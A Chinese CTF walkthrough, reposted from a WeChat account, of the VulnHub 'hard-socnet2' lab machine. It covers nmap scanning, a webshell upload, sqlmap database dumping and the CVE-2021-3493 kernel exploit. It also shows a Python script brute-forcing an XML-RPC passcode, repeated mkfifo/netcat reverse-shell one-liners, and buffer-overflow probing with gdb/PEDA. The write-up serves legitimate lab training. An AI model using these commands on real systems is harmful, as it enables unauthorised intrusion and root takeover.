VulnHub靶机 | hard-socnet2 | 高难度

admin 2022年8月2日15:07:15安全文章评论16 views4610字阅读15分22秒阅读模式

    "凌晨四点半,海棠花未眠"




     本靶机难度为高难度,涉及到了缓冲区溢出的源码审计,逆向分析,动态调试等漏洞技能点,


攻击方法有2种:

    CVE-2021-3493 

    另类提权方式。

项目地址:https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

主机发现:

arp-scan -l

VulnHub靶机 | hard-socnet2 | 高难度

nmap -p- -sS 192.168.0.102

VulnHub靶机 | hard-socnet2 | 高难度

nmap -p22,80,8000 -sV -sS 192.168.0.102

VulnHub靶机 | hard-socnet2 | 高难度


目标渗透:

    访问800端口

VulnHub靶机 | hard-socnet2 | 高难度

显示的是不支持 GET 请求,那就去抓包重发尝试:OPTIONS,POST,PUT,DELETE,返回的都是 500 报错。没有思路了

VulnHub靶机 | hard-socnet2 | 高难度


访问80端口一个登录框。登录需要正确的电子邮箱,显然爆破很难,但是提供了注册,那么就注册.

VulnHub靶机 | hard-socnet2 | 高难度

VulnHub靶机 | hard-socnet2 | 高难度

方法一:文件上传

VulnHub靶机 | hard-socnet2 | 高难度

直接上传一句话木马文件,使用蚁剑进行连接。

VulnHub靶机 | hard-socnet2 | 高难度

方法二:SQL 注入

VulnHub靶机 | hard-socnet2 | 高难度

可能存在 sql 注入,尝试使用 sqlmap 工具爆破。(mysql 数据库)

sqlmap -r sql -p query 将返回包内容复制到 sql 文件中,测试是否存在 SQL 注入sqlmap -r sql -p query --dbs 查询数据库sqlmap -r sql -p query -D socialnetwork --tables 查询表名sqlmap -r sql -p query -D socialnetwork -T users --columns 查询列和字段

VulnHub靶机 | hard-socnet2 | 高难度

VulnHub靶机 | hard-socnet2 | 高难度

VulnHub靶机 | hard-socnet2 | 高难度

VulnHub靶机 | hard-socnet2 | 高难度

VulnHub靶机 | hard-socnet2 | 高难度

拿密码去登录:登陆上但是没有任何用。SQL 注入得到的密码可以保留。可能用得到。

权限提升:

VulnHub靶机 | hard-socnet2 | 高难度

GitHub 下载地址:  https://github.com/briskets/CVE-2021-3493上传 exploit.c 文件,但是蚁剑连接的控制台权限不够
gcc exploit -e expchmod +x exp./exp

VulnHub靶机 | hard-socnet2 | 高难度


第一种:nc 反弹 shell 连接,还是没有-e 参数,使用 nc 串联进行连接

VulnHub靶机 | hard-socnet2 | 高难度


另一种:mkfifo 反弹 shell 连接

这段命令的意思是:利用操作系统的命令--mkfio,实现先进先出的堆栈的效果。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f

提权成功:获取 root

VulnHub靶机 | hard-socnet2 | 高难度

python -c "import pty;pty.spawn('/bin/bash')" 交互效果更好(升级 shell)

VulnHub靶机 | hard-socnet2 | 高难度


另一种提权

cat /etc/passwdcd /homecd socnetls -l 发现 monitor.py 和网站内容提到的一致,具有监视服务器的作用

VulnHub靶机 | hard-socnet2 | 高难度


这里的文件有个 peda 它是动态调试,可能存在溢出漏洞,比如说:缓冲区溢出,堆溢出,是 GDB 的一种插件,作用有:增强 gdb 的显示:在调试过程中着色并显示反汇编代码,寄存器和内存信息。增强 GDB 调试能力

VulnHub靶机 | hard-socnet2 | 高难度


代码审计 monitor.py 文件

XMLRPC 方法

#my remote server management APIimport SimpleXMLRPCServer --引入的服务import subprocessimport random --随机数debugging_pass = random.randint(1000,9999) --随机生成 1000-9999def runcmd(cmd): results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = results.stdout.read() + results.stderr.read() return outputdef cpu(): return runcmd("cat /proc/cpuinfo")def mem(): return runcmd("free -m")def disk(): return runcmd("df -h")def net(): return runcmd("ip a")**def secure_cmd(cmd,passcode): -- 定义 secure_cmd 函数,调用了 cmd 和 passcode if passcode==debugging_pass: --注意这里,是否等于之前那个 1000-9999 随机数 return runcmd(cmd) else: return "Wrong passcode."****server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000)) 导致之前对目标靶机 web 访问请求方式的失败原因,只接受 xml_rpc 方式。**server.register_function(cpu)server.register_function(mem)server.register_function(disk)server.register_function(net)server.register_function(secure_cmd)server.serve_forever()

xmlrpc --- XMLRPC 服务端与客户端模块

介绍:https://docs.python.org/zh-cn/3/library/xmlrpc.html

XML-RPC 是一种远程过程调用方法,它使用通过 HTTP 传递的 XML 作为载体。有了它,客户端可以在远程服务器上调用带参数的方法(服务器以 URI 命名)并获取结构化的数据。xmlrpc 是一个集合了 XML-RPC 服务端与客户端实现模块的包。 这些模块是:

https://docs.python.org/zh-cn/3/library/xmlrpc.server.html#module-xmlrpc.server

编写客户端脚本

import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: print(str(proxy.cpu()))

VulnHub靶机 | hard-socnet2 | 高难度

根据 monitor.py 文件中,secure_cmd 函数需要当 passcode==debugging_pass 等于随机数时,才会执行我们自定的命令,所有进行编码爆破。if passcode==debugging_pass:  return runcmd(cmd)

对 passcode 进行爆破

import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: for i in range(1000,10000): r=str(proxy.secure_cmd('whoami',i)) if not "Wrong" in r : print(i) print(r) break;

VulnHub靶机 | hard-socnet2 | 高难度


反弹 shell 连接

import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: cmd="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f"  r=str(proxy.secure_cmd(cmd,5598))  print(r)

连接成功

VulnHub靶机 | hard-socnet2 | 高难度

缓存区溢出漏洞利用

    add_record 文件分析web 漏洞原理:都是通过输入数据等,从而使服务器程序在处理的时候出现异常情况。那么对 add_record 程序的漏洞发现利用。看看文件类型:ELF 文件格式可以理解成类似 windows 下 PE 的文件格式

VulnHub靶机 | hard-socnet2 | 高难度

执行此文件可以临时成 root 权限,当此文件存在漏洞时,就可以利用获取 root 权限

VulnHub靶机 | hard-socnet2 | 高难度

PEDA 用法总结

一个强大的 GDB 插件

PEDA 是为 GDB 设计的一个强大的插件,全称是 Python Exploit Development Assistance for GDB。它提供了很多人性化的功能,比如高亮显示反汇编代码、寄存器、内存信息,提高了 debug 的效率。同时,PEDA 还为 GDB 添加了一些实用新的命令,比如 checksec 可以查看程序开启了哪些安全机制等等,后续会介绍。https://www.csdndocs.com/article/9043624#:~:text=PEDA%E6%98%AF%E4%B8%BAGDB%E8%AE%BE%E8%AE%A1%E7%9A%84%E4%B8%80%E4%B8%AA%E5%BC%BA%E5%A4%A7%E7%9A%84%E6%8F%92%E4%BB%B6%EF%BC%8C%E5%85%A8%E7%A7%B0%E6%98%AFPython%20Exploit%20Development,Assistance%20for%20GDB%E3%80%82

gdb 命令

gdb -q -q 安静的模式gdb 是程序的动态调试工具,可以跟踪和监视在这个程序运行过程中所有的寄存器,堆栈,内存的使用情况每一次的函数调用,内存数据的变化,都会详细的跟踪和判断,根据跟踪就会知道哪一次数据提交造成内存数据的溢出gdb -q ./add_record peda 是基于 gdb 关于 python 的脚本,输入 r 运行

**这里的测试方法:**主要是对每一项输入大量的字母,AAAAAAAA,监视内存的变化。

测试思路:大量数据测试缓冲区溢出的漏洞

就这样尝试,发现在备注的地方出现了溢出问题。之后的思路:找到出现溢出的位置,

在该位置处输入自己的 payload,反弹 shell,获得权限。

VulnHub靶机 | hard-socnet2 | 高难度

pattern create 100AAA%AAsAABAA$AAnAACAAAA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2A**AHAA**dAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL找到了之后看着很麻烦,使用 gdb 的功能pattern search #看到了是 62 以后的溢出

VulnHub靶机 | hard-socnet2 | 高难度


根据程序运行的各类逻辑提示,这里需要利用“下断点”的方式去了解程序的内部运作,说的直接一些,断点的意思就是程序到这个点的时候停止,不需要下一步运行。[email protected](被调用的一个系统函数)是猜测是打开文本文件的意思put,其作用是输出,配合 Printf 内建函数进行打印输出。[email protected] 应该是打开文件把东西保存进去printf@plt 把文件写入那就使用断点功能判断一下功能都是什么**断点调试:选中前面的内存地址,赋值break * 内存地址runs 单步向前只进行对一个 cpu 的指令**然后 del 1 删除这个断点信息。再重复尝试

    执行 info func:查看程序的内建函数,存在 system 和 setuid,vuln,backdoor执行 disas vuln:具体查看函数,发现了 strcpy 函数,这里可能存在漏洞。直接搜索。最后,利用 payload 来触发漏洞,返回 root 权限

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f

成功获取 root 权限。


原文始发于微信公众号(0x00实验室):VulnHub靶机 | hard-socnet2 | 高难度

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月2日15:07:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  VulnHub靶机 | hard-socnet2 | 高难度 http://cn-sec.com/archives/1214368.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: